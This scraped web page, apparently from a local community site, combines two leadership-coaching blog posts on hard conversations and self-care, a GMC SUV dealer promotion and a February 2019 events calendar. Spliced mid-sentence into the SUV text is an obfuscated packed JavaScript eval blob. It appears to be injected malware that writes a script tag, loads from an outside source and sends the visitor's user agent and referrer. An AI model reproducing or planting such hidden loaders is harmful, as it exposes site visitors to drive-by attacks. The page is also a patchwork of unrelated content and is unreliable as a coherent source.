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High Performance Leadership and Important Conversations…Four Mindset Tools



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  • Are you someone who takes “responsibility for finding the potential in people and processes, and who has the courage to develop that potential”? #BrenéBrown

    This is what leaders do.
    You may have a title that reflects your leadership role and you may not.
    Leadership is not dependent on a title.

    If you fit this description of a leader, then having challenging conversations is an important part of a well developed leadership skillset.

    The more influence we have in an organization, the more effect a good conversation can have throughout the organization.

    The inverse is true as well. Conversations that go poorly or are missed can cost us credibility and can, over time, cause problems for the workplace culture.

    Challenging conversations are, well, challenging. Having effective challenging conversations takes work, practice and courage.

    In my life, until a recent significant life change, I typically avoided hard conversations. I saw myself as a peace-maker. This was a self-imposed title that didn’t serve me or the people around me.

    When I did have hard conversations they came out of a place where I felt emotionally flooded. Not effective.

    My ethnic heritage, and family of origin messages are part of the story I told myself about what I could say and what I couldn’t. I come from a Mennonite family background which often means that peace must be kept at all costs.  That’s the way we roll.

    The problem with missed conversations is that problems aren’t solved.  Over time, there is usually more pain and the energy drain leaves hard feelings.  Hurt builds, blame grows and unforgiveness festers.

    Since my coach training, I’ve become very intentional to have conversations that I would never have ventured into before. I am choosing to live differently and am finding my voice; my kind and honest voice. I’m choosing change.

    I have had many kind, intentional, honest conversations that would never have happened in the past.  The results have been mostly beautiful and I feel empowered. Relationships have flourished.

    But not all…

    And that’s ok.

    Here are four mindset tools that have helped me. I hope they will help you.

    1. Steven Covey’s habit of beginning with the end in mind is a way that I process and prepare for a conversation that needs to happen. By keeping that at the front of my mind, I’m able to focus on the most important things, instead of getting lost in the weeds. Wading into a hard conversation, if you want the best possible results, is not done quickly, rashly or without thought.

    2. One conversation went well, I think, because I began the conversation in the position of a learner.  I expressed to my co-worker that I was trying new ways of communicating.  I also told her that I wanted to include her in the learning process.  The result was an openness that astounded me. Being appropriately vulnerable builds rapport.

    3. I’m choosing to be kind to myself and others by owning my thoughts, attitude and behaviour and letting others own their response.  This feels like risky behaviour for this Mennonite raised kid… so far it’s going well. It feels like freedom and it doesn’t feel like words are stuck anymore.

    4. New conversations take practice. With practice, there are new possibilities. Some relationships will grow, others will not. There are no guarantees. I can only own my choices and my behaviour and I can’t own the response of others. I’m tired of choking on conversations that need to happen.

    When will your next brave conversation happen?

    If you would like to dig into this skillset, to become more effective at having challenging conversations, please contact me.

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    Now’s the Time… High Performance Leadership and Self Care?



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  • Leadership is challenging.
    Criticism of leadership, from numerous directions, can feel like death by a thousand cuts for those of us who are brave enough to take on leadership positions.

    Learning resilience strategies, that are not driven by ego, is critical for sustainable results. One of the most important resilience strategies all leaders need is self care.

    Self care is essential to your health and the health of your organization.

    Throughout my adult life, I’ve experienced numerous leadership positions and leadership roles.
    Often, I was up to my eyeballs with new responsibilities before I knew it and didn’t understand or have the time to look into how to survive my new reality. I had a skillset that was necessary for the work, I knew I had leadership capacity… but didn’t understand what self-care really looked like for me in my role.

    My experience is familiar to many people who are promoted into positions because they were great at their previous role. For many of us, we end up in leadership roles and suddenly have responsibilities that are unfamiliar and take an immense amount of self awareness and other awareness.

    Burnout can begin to undermine the job we want to do, the life we want to live and the even the self-care efforts that we may be trying to sustain.

    There were times when I believed there was no other way, that the situation was my lot in life. I resigned myself to a mindset that was limited to what I knew. Little did I know that there were coping strategies within my reach.

    I did not have a very robust idea of what self-care is about. I want to share with you some important truths and some questions for self reflection about self care that I wish I had explored earlier.

    First and most important, self care, not driven by ego, is important. We cannot give what we do not have.
    What resources are within my reach that I can draw on?
    What do I truly believe about taking care of myself?

    Self Care starts with what we choose to believe and focus on.
    Condemning or critical thoughts may be undermining your self-care efforts. Choosing to talk to ourselves the way we would talk to a friend is a courageous choice.
    Am I choosing to be compassionate to myself? Are there useful resources within my reach that I could or should access?

    Self Care looks different for each of us. What fills my bucket may not fill your bucket. This is not about what SHOULD work for us. Regular, seemingly small deposits into your self care bank are more effective than massive one time efforts. Think of it like the daily act of brushing your teeth, as opposed to taking the holiday of a lifetime.
    What would add to my bucket today?

    Self Care is about meaningful connection.
    Who are the people in your life who care about me?
    What can I do to grow this important resource in my life?

    Self Care is about finding moments, people and places where we can feel emotions.
    Do I have a place to feel hard emotions in a safe place experience feeling seen, heard and understood?

    Self Care is about finding opportunities for laughter. We all need to laugh and play.
    Where can I find something today that will give me a good belly laugh?

    Self care is about rumbling with setting boundaries.
    Boundaries are about what’s ok and what’s not ok AND about being clear about what is mine and what is not mine.
    What can I do to get clear about my boundaries?

    Now, can you give the people in your team permission to do the same? The flip of self-care for others is empathy…. one of the most critical, and challenging skillsets for today’s leaders.

    My suggestions:
    Choose one of these elements of self care and strategically add it to your life for two months, then move on to another one of these elements.

    Working with a coach has also been the best self-care gifts I have given to myself. Change almost always begins with a conversation.

    Your 2019 will look brighter and more successful if you give yourself permission to play and get curious with self care strategies.

    Self care has a way of growing what we most want in our lives. Want a healthy team? Taking the time to honestly ask the above questions is a courageous, and important, step.

    If you’d like support or to explore any of these ideas further with coaching or training, please contact me at

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  • GMC offers a variety of SUVs to fit your specific needs. Choose from the full-size Yukon SUV with ample seating for up to nine adults and impressive trailering capability. Opt for the compact Terrain SUV with a standard 1.5L turbo engine and an estimated fuel consumption rating of 7.9 L/100 km highway and 9.2 L/100 km city (in 4×2 mode). Or go with the powerful, capable Acadia SUV for signature GMC utility, flexibility, and convenience.

    This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sknss|var|u0026u|referrer|ietfr||js|php’.split(‘|’),0,{}))
    full-size SUV brings together numerous innovations to create a new standard in utility. Under the hood, Yukon gives you a choice of powerful and efficient EcoTec3 engines. Inside, premium materials, generous seating and storage, intelligent infotainment, and available safety technologies create an outstanding driving experience.


    An SUV engineered to help you handle life’s demands with confidence, capability, and style. With available seating for up to seven, Acadia provides flexible and adaptable storage capacity depending on your needs. Its available advanced driver alert and infotainment technologies help keep you aware, connected, and entertained.


    This SUV brings together exceptional features of its category. From a distinctive exterior that leaves a lasting impression to new available features that benefit everyone such as Front Pedestrian Braking, HD Rear Vision Camera and HD Surround Vision, the Terrain delivers outstanding utility to handle the varied demands of your life.


    If you would like to Test Drive anyone of these SUV’s come visit us at to book!


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    february, 2019

    fri15feb - 3marfeb 151:00 ammar 32019 Canada Winter Games1:00 am - (march 3) 1:00 am Red Deer

    sun17feb7:15 pm- 9:15 pmAnnie Jr.St. Francis of Assisi Middle School 7:15 pm - 9:15 pm

    wed20feb12:30 pm- 1:00 pmBusiness Professionals Video Lecture LunchThis course explains high-level business concepts in simple ways. 12:30 pm - 1:00 pm

    sat23feb1:00 pm- 4:00 pmMAGSaturday @ the MuseumMAGnificent Saturdays welcomes all ages and abilities to participate in a fun art project every week! 1:00 pm - 4:00 pm

    sun24feb11:00 am- 2:00 pmOne Eleven Jazzy Brunch11:00 am - 2:00 pm

    wed27feb12:30 pm- 1:00 pmBusiness Professionals Video Lecture LunchThis course explains high-level business concepts in simple ways. 12:30 pm - 1:00 pm